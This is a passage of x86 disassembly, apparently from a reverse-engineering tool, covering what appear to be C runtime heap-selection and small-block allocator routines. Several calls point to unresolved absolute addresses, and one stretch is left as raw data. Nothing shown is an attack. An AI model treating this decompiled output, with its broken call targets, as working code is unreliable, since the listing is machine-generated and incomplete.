[esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DC5A0, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DC5A0 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2670547h cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h call near ptr 26B05F7h nop test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 2880000h test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2650000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 472217E8h dd 0A3C08502h, 4DC904h, 93E83674h, 83FFFFFEh, 8A303F8h dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh dd 2462CFCh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h dd 21BEE890h, 0C0850237h, 4DC8FCA3h, 0C3017500h, 4244C8Bh dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h dd 0D8900h, 0C7004DC9h, 4DC8E805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DC8F8 lea ecx, [eax+eax*4] mov eax, dword_4DC8FC lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DC8F4 test eax, eax jz loc_41E1B8 mov ecx, dword_4DC8EC mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DC8EC mov eax, dword_4DC8F4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DC8F4 mov ecx, dword_4DC8EC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DC8F4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DC8F4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DC8F4 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DC8F4 push dword ptr [eax+10h] push 0 push dword_4DC904 nop call near ptr 2780000h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DC8F4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DC8F8 cmp eax, dword_4DC8F4 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DC8FC mov dword_4DC8F0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DC8EC, edi mov dword_4DC8F4, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DC8F0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DC8F0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DC8F4 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DC8EC jnz short loc_41E4C7 and dword_4DC8F4, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DC8F8 mov ecx, dword_4DC8E8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DC8FC push edi push dword_4DC904 call near ptr 2830000h nop cmp eax, edi jz short loc_41E567 add dword_4DC8E8, 10h mov dword_4DC8FC, eax mov eax, dword_4DC8F8 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DC8FC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DC904 lea esi, [ecx+eax*4] nop call near ptr 2790000h cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi nop call near ptr 2890780h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DC904 nop call near ptr 2780000h loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DC8F8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 2890780h test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 